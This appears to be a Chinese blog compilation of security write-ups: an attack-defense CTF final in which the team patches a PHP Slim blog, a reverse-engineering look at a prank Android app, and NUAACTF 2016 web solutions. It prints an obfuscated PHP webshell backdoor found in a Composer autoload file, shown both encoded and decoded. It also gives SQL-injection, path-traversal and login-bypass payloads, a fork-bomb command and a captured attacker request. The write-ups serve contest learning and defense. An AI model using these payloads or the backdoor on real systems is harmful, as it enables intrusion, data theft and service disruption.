2016 全国大学生信息安全竞赛初赛 Writeup

得益于初赛的人品,我们有幸入围了决赛。但是对于决赛的比赛方式:攻防赛,我们并不了解,事先也不知道需要准备哪些东西,只是配了几个扫描器,然后就是之前用的 IDA 之类的工具和各种语言环境。经过两天的比赛,最终成绩是第 12 名(如果没有赛后的名次变动的话)。这次比赛确实让我学到了一些东西,下面我就来说一说吧~

各组选手维护相同的一系列服务,每五分钟(第二天改为了三分钟)为一轮,有一个flag 文件是 /home/flag/flag,你需要努力获取其它队伍的 flag 文件,也要尽量保证自己的 flag 文件不会被获取。每一轮这个文件的内容都会变,每一轮每个队伍只能提交获取到的其它各个队伍的 flag 各一次。也就是说,如果你不把漏洞修好,那么每一轮都可以被所有发现该漏洞的队伍攻击一次;每一轮会有一次服务存活检测,如果服务 down 掉了,丢失的分数会更多。

由于这次的题目类型大多是 PWN 的,而我是一只 WEB 狗,所以大部分的分数并不是我拿的,对于 PWN 的题目我也没法做什么分析。这次比赛的 WEB 题是这样的:你要维护的是一个简单的博客系统,使用的框架是 PHP Slim,支持最简单的注册、登录、发博文(标题、纯文本内容、模板名称)的功能。flag 文件是 /home/flag/flag,属于 www-data,权限为 511(每一轮自动换)。我们需要获取其它队伍的 flag 文件中的内容。

与之同时发布的还有一道 PWN 题,@沈园 同学果断接下了这个锅(事实上我们几乎所有有成绩的 PWN 题,修补漏洞和编写 EXP 都是他负责的,在此先膜拜一下 ),我和@SummerZhang 同学开始看 WEB。

首先先用 tar 命令将整个 web 目录打包,放到 /tmp 下,然后通过 scp 命令将其复制到本地。

1
scp [email protected]:/tmp/www.tar.gz ./www.tar.gz

解压缩之后对里面的文件进行逐一查看:

1
2
3
4
5
6
7
8
9
10
11
web
├─html
│ ├─css
│ ├─fonts
│ │ └─roboto
│ ├─img
│ └─js
├─log
├─templates
│ └─note_tpl
└─vendor

其中 html 文件夹中主要是 PHP 文件,config.php 是一些配置项,包括数据库的账号和密码,由于每一队维护的服务代码都是相同的,而且我们也没权限修改数据库的登录密码,因此这些无需修改。但是上面有这么一句:

1
$config['displayErrorDetails'] = true;

为了保险起见还是改成 false 吧。接下来是 db.php,是自己写的一个库文件,我们大概能感觉到这里面会有 SQL 注入的风险。

1
2
3
public function where($key = '', $operate = '', $value = '') {
$this->where[] = sprintf("%s %s '%s'", $this->filter($key), $operate, $this->filter($value));
}

看到这个函数的时候我还诧异:居然写了过滤?然而找到这个函数之后才发现:

1
2
3
public function filter($value) {
return $value;
}

坑爹呢!于是赶紧在 return 的值外面包了层 addslashes。继续往下看有个 select 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function select($value = '*') {
if(count($this->where) == 0) {
$sql = sprintf("SELECT %s FROM %s ", $value, $this->table);
}
else {
$where = implode(' AND ', $this->where);
$sql = sprintf("SELECT %s FROM %s WHERE %s", $value, $this->table, $where);
}
$sql .= $this->limit;
$this->limit = '';
$result = mysqli_query($this->conn, $sql);
if(!$result)
return null;
while($tmp = mysqli_fetch_row($result)) {
$ret[] = $tmp;
}
return @$ret;
}

不用想了,$where 这儿也有问题。在 else 一段为它添加 addslashes 吧:

1
2
3
4
5
6
7
8
else {
$o = array();
foreach ($where as $key => $value) {
$o[$key] = addslashes($value);
}
$where = implode(' AND ', $o);
$sql = sprintf("SELECT %s FROM %s WHERE %s", $value, $this->table, $where);
}

下面是一个 insert 函数,不定参数。其中有一句似乎是调用了 $this->filter

1
$args_list = array_map(array($this, 'filter'), func_get_args());

这段应该是没问题的,所以不改了。下面的 sess 类和 hello 函数也没发现什么问题。至此,db.php 已经没有什么明显的 BUG 了。接下来看 index.php,其中对路由 /list 的处理中,有一段看起来可能有问题:获取到文章的信息存放到 $result 之后,执行渲染的函数:

1
2
3
4
5
6
return $this->view->render($response, "/list.tpl", array(
'username' => $hello,
'notes' => $result,
'total_page' => $total_page,
'current_page' => $current_page
));

其中 /list.tpl 文件中有这样一段:

1
2
3
4
5
6
{% for note in notes %}
{% embed note.3 %}
{% block title %}{{ note.1 }}{% endblock %}
{% block content %}{{ note.2 }}{% endblock %}
{% endembed %}
{% endfor %}

note.3 是我们发这篇文章时选择的模板文件,它是在路由 /post 中被这样生成的:

1
2
3
4
5
$title = $parsedBody['title'];
$content = $parsedBody['content'];
$temp = "/note_tpl/{$parsedBody['temp']}.tpl";
$this->db->table('notes');
$this->db->insert($username, $title, $content, $temp);

当然,如果 filter 函数没有修改的话,可以这样直接注入:

1
2
3
4
5
6
POST /post HTTP/1.1
Host: 10.250.1xx.11
Cookie: PHPSESSID=[logged_session_id]
[Other headers]

content=xxx&temp=0&title=1%27%2C+%27title%27%2C+%27%5C%2Fnote_tpl%5C%2F..%5C%2F..%5C%2F..%5C%2F..%5C%2Fhome%5C%2Fflag%5C%2Fflag%27%29+%23+

这样拼接出来的 SQL 是:

1
INSERT INTO notes VALUES ('[logged_username]', '1', 'title', '\/note_tpl\/..\/..\/..\/..\/home\/flag\/flag') # ', 'xxx', '0')

于是在 render 的时候会触发文件包含的漏洞。如果数据库防了注入,这招就失灵了。但是我们可以这样:发现数据库的 template 字段类型是 varchar,有长度限制,我们只需要用空格填满剩余的空间即可:

1
title=0&content=xxx&temp=..%2F..%2F..%2F..%2Fhome%2Fflag%2Fflag++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

于是存到数据库中的就相当于 /home/flag/flag 了。要说这个也属于逻辑设计不合理,应该是在数据库存放文件名,然后渲染之前现场拼接路径。其实 Slim 本身也做了一层过滤,在 vendor/twig/twig/lib/Twig/Loader/Filesystem.php 中有过滤的函数,把注释去掉就可以限定包含的文件只能在当前目录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function validateName($name) {
if (false !== strpos($name, "\0")) {
throw new Twig_Error_Loader('A template name cannot contain NUL bytes.');
}
$name = ltrim($name, '/');
$parts = explode('/', $name);
$level = 0;
foreach ($parts as $part) {
if ('..' === $part) {
--$level;
} elseif ('.' !== $part) {
++$level;
}
if ($level < 0) {
// throw new Twig_Error_Loader(sprintf('Looks like you try to load a template outside configured directories (%s).', $name));
}
}
}

但是这么修改太麻烦了,我们看了一下,只有三个模板,文件名分别是 1、2、3……于是果断加了一句:

1
2
3
$parsedBody['temp'] = intval($parsedBody['temp']);
// 下面这句是原来的
$temp = "/note_tpl/{$parsedBody['temp']}.tpl";

这下管你什么文件包含呢,通通没办法了吧?于是第一天我们的 WEB 题没有丢分(有一段时间许多队伍的 WEB 被 DoS 了,而 DoS 是被规则禁止的攻击方式,不知道主办方会怎么处理,这段时间的丢分我就认为不算丢分吧),反倒还拿了其它队伍不少分。

但是第二天就奇怪了,一大片队伍的 WEB 题都 down 掉了,我们不光 down 了,还被拿到了 flag。这怎么能忍?我们一遍遍排查代码,确认没有什么逻辑上的漏洞。然后突然发现服务器操作特别慢,于是 ps aux 了一下,发现了一大堆这样的命令:

1
sh -c echo 123;x() { x|x& };x

卧槽,居然连 fork 炸弹都上了!这也是被规则禁止的,于是我们通知了主办方,主办方把所有队伍的 WEB 服务都重启了一遍,但是我们的 WEB 题还是既 down 又被 flag,简直神奇。看了一下 /tmp 目录下被上传了一堆 shell,但是我们的 ctf 用户没权限删除 www-data 用户创建的内容。后来我们直接给自己的服务器上了一个 webshell(这就是俗话说的:我急了连自己的机器都上 shell!),因为 webshell 就是以 www-data 用户身份运行的。我们没发现有什么可以上传文件的地方,但是确实是被 get shell 了,于是在找出上传方法之前,先将所有的 shell 文件 kill 掉,然后对其执行 chmod 000;刚才 ps 的时候还发现了一个定时发送 flag 的 crontab,于是也果断将其清空。

就算这样还是被 flag 了,而且还在 down 着。我们在改完代码测试流程的时候偶然发现无法注册无法登录,于是猜想是不是数据库挂掉了,于是连进数据库一看,发现整个 database 全部被 drop 掉了……我们之前没有备份数据库,但是凭借着一点点记忆力以及@SummerZhang 同学根据代码推断数据库结构的能力,直接手动建起了数据库,恢复了服务的运行:

1
2
3
4
create database 0ops;
use 0ops;
create table users (username varchar(255), password varchar(255));
create table notes (username varchar(255), title varchar(255), content varchar(255), temp varchar(255));

但是文件是怎么传上来的呢?我们在 index.php 文件的最一开始加了一段代码,可以将全部的 HTTP 请求包记录到 /tmp/log.txt 中,然后我们就在命令行中 tail -f /tmp/log.txt,开始分析所有的请求,最终锁定了两个奇怪的请求:

1
2
3
4
5
6
7
8
GET /index.php?59b620d4=6cd13eb6assert41a2e1&edfd2=50cbin1d3&208a8e=74fe6cdupload89f&25411bcd=cdde9uploadf814ff266a&cecc789=9ce4c38feeval1de&2e84e621f=368c9e9baa918e&7657=b4a6uploadb339c1b1a&d54c1=1925cinto4aa&28d5bd999f=e7fselect3c37&b5fee3356a=c27ceeval2038&43a7c6bb4=4b3b74assert7a51&e9f6642fc=27b7into244&10fd41aefe=44e18a89a6into2a2f&08a3c97=ee6into3a909a4&c565ef5=6ec68upload2224e453&4df26=1fd254select4caaf&3c743ef7=a69bbfaassertbfa HTTP/1.1
Host: 10.250.111.11
Connection: keep-alive
Accept_encoding: gzip, deflate
Accept: */*
User_agent: python-requests/2.10.0
Accept_language: xh-ZA,sa;q=0.5,se;q=0.7,sm;q=0.8
Referer: http://localhost/index.php?379=60c8and6cc&8cdf38c0c=6f9%2Fbin%2Fbash96ca9&62ca6c1a1=52f58bin4550b2b528&9b4f5=c78d226select632b6&70d7cb=b7bc3576bevale12&id6=a45&id7=b7c&id8=TPp8K%2FzwM3%2F%2Fqn7rfXdJvnuo%2BE179U8e4jblqfr3KeJ7rX4qNSsureJmZY89Pg%3D%3D93d&d99=9&id10=707
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /post HTTP/1.1
Host: 10.250.111.11
Accept_encoding: gzip, deflate
Accept: */*
User_agent: python-requests/2.7.0 CPython/2.7.9 Linux/4.0.0-kali1-amd64
Connection: keep-alive
Cookie: PHPSESSID=k4146i6hp0os7siaa8c2526no7

content=,1,0x2f6e6f74655f74706c2f2e2e2f2e2e2f2e2e2f2e2e2f686f6d652f666c61672f666c6167)--+xGj6Evnwu0Lbt4cl1oNKMJJTWOb21MNt5QdqMJiE4ojuUhtUb69&nFXwtiv=
Ok=system('uWz1E2Ygq4jZA5JfdwoAVT17xr9Ped8gujeO".str_rot13("0xZ8FCS8uJQKVJXbXQY7wSYZF3ZowvUv0hw3LIN6E".base64_decode("ypyQrdo7V5t0sZVWBmaLBtmK6aZL7yMZul".eval('xMFxdIFg4zkzyok0gEP2DjMnp8cFLiOlNC5EC776HARtCbn4NkycJ8QN'.var_dump("I1X5Qa4vZHVTjyhead>eDY7920XJdQ44mKSHOLnvgJ".$_SERVER[HTTP_z7Hp57U]("IKtFLD3vFLrxfig3hyZiUyGwP5Qt2QR3dClXFEr7v')"ARRnCZtnLPk54s77D5ILVT8UZxeXFjb5ViV1JKgGeCRHPRpjqoHw9cEE'))'fCvM6J7W0xC0PIPv6x2TPnpOlOOLvufuofXV4myGroWjw6')'qeToFSdgfyXTwK9fFIITmodMiZLN6bhJ3iNMqm9AX60do')
w2RG=system("CCCO5SSrVWrZsBdytM1xTLObt29O639w055UKmgnO55eXMYMzNiCcqfio'.system("DcnBcrhnwJDpGEeSTRrCnHfNBRbMvdfw8Yblp8W8u2G5ysE6G".unlink("QVcHdkVThSo0xAU4Zstc2jF6p6owFvqdah'.strrev('jQwHGxixZF4s4mVVQko2jJ17j9yZgagl8ycD")))
temp=L1Jqzh4S0PcMRxRGhkqQNHllS
title=wV2iOeYuLEh41X7WvpGbXcgkJYPubTjEM2s9eYcPrXQMMG\

我们自己尝试了一下,第二个请求之后会直接报 Slim application error,但是保险起见我们将所有 UA 带有 -kali- 字样的请求全部 die 掉,第一个请求貌似是主办方的服务存活检测,因为将其 die 掉之后我们的网站虽然还能正常运行,但是被判定为 down(但是没有被 flag,这一点我没有及时注意到,这是我的锅),取消 die 之后又变回了只被 flag 的状态。后来惊觉:这是主办方留的后门被人利用了!在 vendor/autoload.php 下面发现了后门:

1
2
require_once __DIR__ . '/composer' . '/autoload_real.php';
return ComposerAutoloaderInit854778b4c93a322cf2f5c39e558d9f7a::getLoader();

vendor/composer/autoload_real.php 中发现了这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)[email protected]$r[)m"HTT)mP_RE)mFERER"];$ra)m=)[email protected]$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)[email protected])ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/
function composerRequire854778b4c93a322cf2f5c39e558d9f7a($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;

$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
}
}

上面那一串乱码一样的东西其实是个混淆,只要稍微改一改,顺着解析一遍就可以了。把最后的 $v(); 去掉(一看就是用来执行解析出来的函数的),然后输出 $y$L

1
2
3
4
【$y】
create_function
【$L】
$kh="4f7f";$kf="28d7";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;[email protected]$r["HTTP_REFERER"];[email protected]$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

所以重点就是 $L 了。稍微美化一下,在不修改逻辑的情况下简化一些语句,可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function xor_encode($text, $key) {
$result = "";
for ($i = 0; $i < strlen($text);) {
for ($j = 0; ($j < strlen($key) && $i < strlen($text)); $j++, $i++) {
$result .= $text[$i] ^ $key[$j];
}
}
return $result;
}

if ($_SERVER["HTTP_REFERER"] && $_SERVER["HTTP_ACCEPT_LANGUAGE"]) {
$u = parse_url($_SERVER["HTTP_REFERER"]);
parse_str($u["query"], $get);
$get = array_values($get);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $_SERVER["HTTP_ACCEPT_LANGUAGE"], $match);
if ($get && $match) {
@session_start();
$i = $match[1][0].$match[1][1];
$h = strtolower(substr(md5($i."4f7f"), 0, 3));
$f = strtolower(substr(md5($i."28d7"), 0, 3));
$p = "";
for ($z = 1; $z < count($match[1]); $z++) $p .= $get[$match[2][$z]];
if (strpos($p, $h) === 0) {
$_SESSION[$i] = "";
$p = substr($p, 3);
}
if (array_key_exists($i, $_SESSION)) {
$_SESSION[$i] .= $p;
$e = strpos($_SESSION[$i], $f);
if ($e) {
$k = "4f7f28d7";
ob_start();
@eval(@gzuncompress(@xor_encode(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(xor_encode(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

可以看出这就是个 webshell,内容是通过 Referer 传进来的。除了好多加密解密以绕过过滤的函数以外,核心代码在这儿:

1
2
3
4
5
6
ob_start();
@eval(@gzuncompress(@xor_encode(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(xor_encode(gzcompress($o), $k));
print("<$k>$d</$k>");

所以只要以同样的方式传进来数据,那么显然可以直接 get shell!似乎这个文件由于权限问题没法直接修改,所以解决问题的最简单的方法就是在 index.php 中加入一行代码:

1
$_SERVER['HTTP_REFERER'] = 'Hello friend';

改完之后又过了一轮,我们的 WEB 完全正常了。虽然这个时候已经被打的很惨了……

至于那些 PWN 的题,@沈园 同学负责分析、补漏洞(直接手工修改二进制文件也是 666)、写 exp,@SummerZhang 同学来跑 exp,因为 exp 不是很稳定所以他还顺便当了一次人肉守护进程。

当然,也多亏 @SummerZhang 同学连夜搞出了那道 400 分的静态分析题,现学现卖的能力果然好强。


总之,还是我们的水平不够啊……不过这次比赛对我们以后为校内赛出题提供了很多思路,说不定以后的 NUAACTF 就不光会有 CTF,还会有渗透和攻防的赛程了呢!

让老司机纷纷翻车的“悄悄话查看器”究竟有啥名堂?

0x00 Introduction

相信大家一定被所谓的“QQ悄悄话查看器”刷屏了吧?从上个月开始我就郁闷,有人给我发悄悄话,然而我又猜不到是谁。有了这么一个 APP,岂不是可以调戏回去?然而大家的反应似乎不是这样的:

1

“这一切来的太快”

2

“强行上车 车速过快 引发多起事故”

3

“这很强势,很清真”

4

“逸夫楼教室此起彼伏”

5

“对不起,我们不认识”

就是这么个安卓 APP,害了好多老司机纷纷翻车。

下午刚陪女朋友上完自习(此处省略秀恩爱的若干字),各种群、空间、朋友圈就被这些图刷屏了。我所在的群中,有四个群里面已经有了这个文件。于是我就顺手反编译了一下,看看它究竟是个什么玩意儿。

如果迫不及待的话,我可以提前告诉你,这就是某个人顺手写出来的整人的玩意儿。好了全文到此结束。

坑爹呢这是!

当然,对于感兴趣的同学,我当然要说一下逆向这个 APP 的过程。由于这个 APP 写的很简单,因此逆向起来没有任何难度,大神就不要喷啦。

后文可能会有福利哦~

0x01 Unzip

呃,之所以需要这一步,是因为如果直接用 dex2jar 来反编译 apk 的话会报错,大概是打包的时候出了问题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ d2j-dex2jar.sh qq_secret.apk
dex2jar qq_secret.apk -> qq_secret-dex2jar.jar
com.googlecode.dex2jar.DexException: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:217)
at com.googlecode.dex2jar.reader.DexFileReader.<init>(DexFileReader.java:229)
at com.googlecode.dex2jar.reader.DexFileReader.</init><init>(DexFileReader.java:240)
at com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Dex2jarCmd.java:104)
at com.googlecode.dex2jar.tools.BaseCmd.doMain(BaseCmd.java:174)
at com.googlecode.dex2jar.tools.Dex2jarCmd.main(Dex2jarCmd.java:34)
Caused by: java.util.zip.ZipException: invalid entry compressed size (expected 252773 but got 252747 bytes)
at java.util.zip.ZipInputStream.readEnd(Unknown Source)
at java.util.zip.ZipInputStream.read(Unknown Source)
at java.util.zip.ZipInputStream.closeEntry(Unknown Source)
at java.util.zip.ZipInputStream.getNextEntry(Unknown Source)
at com.googlecode.dex2jar.reader.ZipExtractor.extract(ZipExtractor.java:31)
at com.googlecode.dex2jar.reader.DexFileReader.readDex(DexFileReader.java:129)
at com.googlecode.dex2jar.reader.DexFileReader.opDataIn(DexFileReader.java:213)
... 5 more</init>

于是用压缩软件解包之后,反编译里面的 dex 文件即可:

1
2
$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> classes-dex2jar.jar

然后用 jd-gui 载入,发现里面有两个大包:com.e4a.runtimecom.o,前者是安卓版的易语言运行环境,后者就是主程序了。

6

看了几眼,发现 R.class 中声明的元素少得可怜。于是往下看到 主窗口.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void $define() {
// ....
图片框Impl local图片框Impl = new 图片框Impl(主窗口);
Objects.initializeProperties(local图片框Impl);
this.图片框1 = ((图片框)local图片框Impl);
this.图片框1.左边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.顶边((int)算术运算.取整(ByteVariant.getByteVariant((byte)0).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.宽度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕宽度()))));
this.图片框1.高度((int)算术运算.取整(ByteVariant.getByteVariant((byte)1).mul(IntegerVariant.getIntegerVariant(系统相关类.取屏幕高度()))));
this.图片框1.背景颜色(-1);
this.图片框1.显示方式(1);
this.图片框1.图像("6M5UBF2J9ZI70.jpg");
this.图片框1.可视(true);
// ....
}

隐去了部分代码,可以看到这里全屏显示了一张图片。那么所谓的 6M5UBF2J9ZI70.jpg 是个什么东西呢?我们来翻一下 assets 文件夹好了:

7

看到缩略图,好像是福利?于是点开大图。结果发现跟女朋友相比差了好多,并没有 xing 趣欣赏,不知道大家是什么反应?

继续往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 主窗口$创建完毕() {
音量操作.置音量(4, 100);
音量操作.置音量(4, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
媒体操作.播放音乐("0.mp3");
媒体操作.置循环播放(true);
// ....
this.系统设置1.屏幕锁定();
this.系统设置1.保持屏幕常亮();
this.系统广播1.注册广播("后台服务广播");
this.系统闹钟1.设置闹钟(1, 500L, "闹钟");
this.时钟1.时钟周期(500);
}

将音量调到最高,播放音乐,保持屏幕常亮……毕竟是易语言,想都不用想就知道是干什么的了~

看到有一段音乐,又想起了刚才的图片,于是打开听一听吧……

我还是不评价了,放一张别人的评论好了:

0

坑爹呢这是!

还是继续往下看吧……

1
2
3
4
5
6
7
8
9
10
11
12
13
public void 主窗口$按下某键(int paramInt, BooleanReferenceParameter paramBooleanReferenceParameter) {
boolean bool = paramBooleanReferenceParameter.get();
if (paramInt == 24) {
bool = true;
}
if (paramInt == 25) {
bool = true;
}
if (paramInt == 82) {
bool = true;
}
paramBooleanReferenceParameter.set(bool);
}

两个音量控制键(24、25)、菜单键(82),大概是要屏蔽这三个按键吧。

1
2
3
4
5
6
7
8
public void 时钟2$周期事件() {
this.时钟1.时钟周期(0);
系统相关类.创建快捷方式2("QQ悄悄话查看器0", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器1", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具2", 2130837504, "http://");
系统相关类.创建快捷方式2("快手双击工具3", 2130837504, "http://");
系统相关类.创建快捷方式2("QQ悄悄话查看器4", 2130837504, "http://");
}

创建一堆奇怪的快捷方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void 系统广播1$收到广播(int paramInt) {
主窗口.标题(this.系统广播1.取广播内容());
if (主窗口.标题().equals("1")) {
if (!应用操作.是否在前台()) {
音量操作.置音量(4, 100);
音量操作.置音量(1, 100);
音量操作.置音量(2, 100);
音量操作.置音量(3, 100);
应用操作.返回应用();
this.系统设置1.屏幕解锁();
}
}
// ....
}

乍看起来像是保持前台运行的,如果被切到后台了,就强行跑到前台刷存在感(顺便如果你锁屏了人家还会帮你解个锁)。然而这个 主窗口.标题().equals("1") 的条件是个什么鬼?这个 class 没有什么可看的了,看最后的 后台服务操作.class 吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
public void 服务处理过程(String paramString) {
boolean bool = paramString.equals("闹钟");
int i = 0;
if (bool) {
for (;;) {
i = IntegerVariant.getIntegerVariant(i).add(ByteVariant.getByteVariant((byte)1)).getInteger();
系统相关类.发送广播("后台服务广播", 1, 转换操作.整数到文本(i));
if (IntegerVariant.getIntegerVariant(i).cmp(ByteVariant.getByteVariant((byte)1)) == 0) {
i = 0;
}
}
}
}

这里可以看到发送广播的内容是 1,然后配上上面的 主窗口.标题(this.系统广播1.取广播内容()),这样就达到刷存在感的条件了。

翻完了所有的代码,没发现疑似病毒或者其它恶意软件的痕迹。大家如果对上面的图片或者音频感兴趣,可以放心地安装使用。

0x02 Result

所以,其实——

这就是某个人顺手写出来的整人的玩意儿。

坑爹呢这是!

嗯,不光整了一个人,而是若干高校的图书馆、逸夫楼、自习室。

好了,全文到此结束。

NUAACTF 2016 官方 Writeup

Web1

签到题,打开浏览器的Console即可找到flag:

0

下面那行带有中文的句子是我早上修改界面的时候加上去的,同样的彩蛋在网页源代码中也有,就是每个页面查看源代码之后显示的那个佛祖,23333。

Web2

仔细看会发现题干中百度的链接有点奇怪:

0

根据题目提示,用百度搜索“一只苦逼的开发狗”,发现出题人的博客,第一篇文章有提示:

0

看起来是base64编码,解码之后查看文件类型:

1
2
3
4
5
$ echo "bnVhYWN0ZiU3Qi93ZWIyL2NlYmE2ZmJiZjBlZGU0MzI1MjY0MWNkMzM2ZTM2YTAzJTdE" | base64 -d > out.dat
$ file out.dat
out.dat: ASCII text, with no line terminators
$ cat out.dat
nuaactf%7B/web2/ceba6fbbf0ede43252641cd336e36a03%7D

是一个URI编码之后的字符串,解码即可得到flag,也是下一题的地址:

0

Web3

将题目网址的路径替换成Web2的flag,跳转到http://xxx.xxx.xxx.xxx:8080/web2/xedni.php,查看源代码之后发现了一段PHP代码:

1
2
3
4
5
6
<?php
if(isset($_GET["password"]) && md5($_GET["password"]) == "0e731198061491163073197128363787")
echo file_get_contents("flag.txt");
else
echo file_get_contents("xedni.php");
?>

所以我们的目标就是反查md5。扔进cmd5中发现是一条付费记录,我没钱所以看不了。但是扔到百度中即可得到结果:s1184209335a。于是访问网址:

http://xxx.xxx.xxx.xxx:8080/web2/xedni.php?password=s1184209335a

得到flag:nuaactf{/web3/b481b86354a413b898b6f01af539366d}。

其实还有一种解法,因为PHP的一个“特性”:任何0e开头的字符串都会被解析为数字0,因此只需要找到任意一个md5之后0e开头的字符串,放进password参数中提交即可。看题目描述感觉本题应该是用此方法解,与出题人讨论之后,认为如果考此方法,代码中的md5判断改为”0e23333”更好一点。

Web4

将题目网址的路径替换成Web3的flag,跳转到http://211.65.102.2:8080/web3/login.php,这是一个登录界面,没有任何多余信息,因此考虑SQL注入。测试了一下发现有报错,但是报错中没有语句相关的信息,因此只能盲注,如果将数据库中的数据dump出来,将花费很长的时间。根据提示“需要用管理员账号来看flag”,于是猜想用户表中有一列标记是否为admin。直接在用户名中输入【' and 1=0 union select 1,1,1,1 – 】(别忘了一开始的单引号和最后的空格,1的数量是从两个开始试出来的,表示用户表一共有4列),提交之后会跳转,通过抓包看到flag:nuaactf{hApPy_haCk1n9_t0Day},以及下一题的地址。

为了验证猜想是否正确,可以使用sqlmap扫一下:

1
2
3
4
$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms –dbs
available databases [2]:
[*] information_schema
[*] nuaactf

然后看一下nuaactf里面有什么信息:

1
